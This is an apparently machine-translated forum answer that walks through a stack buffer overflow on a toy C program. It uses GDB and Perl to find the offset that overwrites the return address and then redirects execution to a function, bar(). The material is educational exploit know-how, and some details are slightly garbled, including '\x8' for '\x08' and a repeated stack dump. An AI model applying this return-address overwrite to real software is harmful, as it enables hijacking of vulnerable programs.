Because the Perl script is not particularly useful here, different systems will use different addresses, so let's do it without a script ...
First of all, find the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';` Address of foo = 0x804845b Address of bar = 0x80484a5 My stack looks like: 0xf7fb1000 0xffffdab8 0xf7e44476 0xf7fb1d60 0x8048647 0xffffdaa8 AAAAAAAAAAAAAAAAAAAAAAAAAA Now the stack looks like: 0xffffdcbb 0xffffdab8 0xf7e44476 0xf7fb1d60 0x41418647 0x41414141 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
As you can see, 26 bytes will overwrite EIP, therefore, replacing the last four characters "A" with our address bar () (do not forget to put it in a small terminal format), we should be successful
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';` Address of foo = 0x804845b Address of bar = 0x80484a5 My stack looks like: 0xf7fb1000 0xffffdab8 0xf7e44476 0xf7fb1d60 0x8048647 0xffffdaa8 AAAAAAAAAAAAAAAAAAAAAA Now the stack looks like: 0xffffdcbb 0xffffdab8 0xf7e44476 0xf7fb1d60 0x41418647 0x41414141 Augh! I've been hacked! Program received signal SIGSEGV, Segmentation fault. 0xffffdc06 in ?? ()
As you can see, we have successfully returned to the function line ().
Dead silence
source share